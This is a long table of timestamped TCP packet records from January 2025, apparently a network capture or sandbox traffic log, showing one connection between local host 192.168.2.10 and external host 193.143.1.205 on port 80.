Jan 11, 2025 07:31:29.241772890 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.241795063 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.241847038 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.241879940 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.241887093 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.241919041 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.241952896 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.241962910 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.241988897 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.242023945 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.242028952 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.242710114 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.242762089 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.242785931 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.242799044 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.242832899 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.242839098 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.242868900 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.242902040 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.242908955 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.242938995 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.242974043 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.242978096 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.243676901 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.243721008 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.243730068 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.243766069 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.243798018 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.243803978 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.243833065 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.243865967 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.243875027 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.243901014 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.243933916 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.243943930 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.269161940 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.269196987 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.269229889 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.269237995 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.269272089 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.303061962 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.303139925 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.303195000 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.303205967 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.303230047 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.303267002 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.303270102 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.303302050 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.303353071 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.303359032 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.303388119 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.303423882 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.303435087 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.303461075 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.303505898 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.327176094 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.327208996 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.327261925 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.327299118 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.327320099 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.327351093 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.327383995 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.327385902 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.327440023 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.336965084 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.336999893 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.337033987 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.337069988 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.337104082 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.337136030 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.337176085 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.337214947 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.337392092 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.337445021 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.337481022 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.337491989 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.337516069 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.337549925 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.337554932 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.337579966 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.337618113 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.361407995 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.367898941 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.367930889 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.367983103 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.367984056 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.368021965 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.368053913 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.368058920 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.368092060 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.368135929 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.368144035 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.368180037 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.368215084 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.368238926 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.368249893 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.368283987 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.368288040 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.368319988 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.368360043 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.370096922 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.370182991 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.370218992 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.370235920 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.370271921 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.370306969 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.370321035 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.370342016 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.370376110 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.370389938 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.370426893 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.370460033 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.370465994 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.370495081 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.370538950 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.370548964 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.370609045 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.370645046 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.370651007 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.370680094 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.370729923 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.370748043 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.370783091 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.370822906 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.370830059 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.370872021 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.370908976 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.370922089 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.370956898 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.370990992 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.370992899 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.371026993 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.371061087 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.371066093 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.371095896 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.371129990 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.371134996 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.371210098 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.371249914 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.371257067 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.371284962 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.371337891 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.371345043 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.371381044 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.371412992 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.371428013 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.371448040 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.371481895 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.371484041 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.371516943 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.371536016 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.371570110 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.371572018 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.371604919 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.371613026 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.371640921 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.371674061 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.371678114 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.371709108 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.371742010 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.371752024 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.371777058 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.371810913 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.371819019 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.371845007 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.371877909 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.371882915 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.371913910 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.371932983 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.371954918 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.371968985 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.372001886 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.372009993 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.372036934 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.372080088 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.382040977 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.382077932 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.382126093 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.382131100 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.382184982 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.382220984 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.382227898 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.382255077 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.382298946 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.382309914 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.382344007 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.382378101 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.382381916 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.382428885 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.382474899 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.382483006 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.382517099 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.382553101 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.382567883 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.382587910 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.382622957 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.382632017 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.382658005 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.382692099 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.382700920 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.382728100 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.382761955 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.382765055 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.382797003 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.382834911 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.394155025 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.394210100 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.394264936 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.394268990 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.394316912 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.394351959 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.394355059 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.394387007 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.394423008 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.394438028 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.394458055 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.394493103 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.394504070 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.394526958 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.394561052 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.394567966 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.394596100 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.394630909 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.394635916 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.394665956 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.394748926 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.421087980 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.421158075 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.421210051 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.421210051 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.421247005 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.421282053 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.421293974 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.421318054 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.421355009 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.421361923 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.429218054 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.429277897 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.429280043 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.429313898 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.429352999 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.429364920 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.429408073 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.429452896 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.429461956 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.429497004 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.429531097 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.429543972 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.429565907 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.429601908 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.429617882 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.429636002 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.429671049 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.429686069 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.429707050 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.429742098 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.429750919 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.458765030 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.458796978 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.458848000 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.458848953 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.458900928 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.458910942 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.458940029 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.458975077 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.459003925 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.459012032 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.459045887 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.459064960 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.459248066 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.459289074 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.459297895 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.459367990 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.459402084 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.459420919 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.459454060 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.459489107 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.459496975 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.459523916 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.459563971 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.459578991 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.459634066 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.459667921 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.459673882 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.459718943 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.459753036 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.459762096 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.459803104 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.459836006 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.459844112 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.459870100 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.459902048 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.459912062 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.459964991 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.460000038 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.460010052 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.460053921 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.460088968 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.460107088 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.460140944 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.460175037 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.460181952 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.460210085 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.460242987 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.460253954 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.460298061 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.460330963 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.460335970 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.460381985 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.460417986 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.460421085 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.460469961 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.460503101 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.460505009 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.460553885 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.460591078 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.460597038 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.460625887 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.460658073 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.460664988 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.460711002 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.460746050 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.460752964 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.460779905 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.460812092 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.460820913 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.460846901 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.460880041 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.460887909 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.460915089 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.460947990 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.460968018 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.460982084 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.461015940 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.461025953 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.461051941 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.461102009 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.461107969 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.461137056 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.461170912 CET	80	49720	193.143.1.205	192.168.2.10
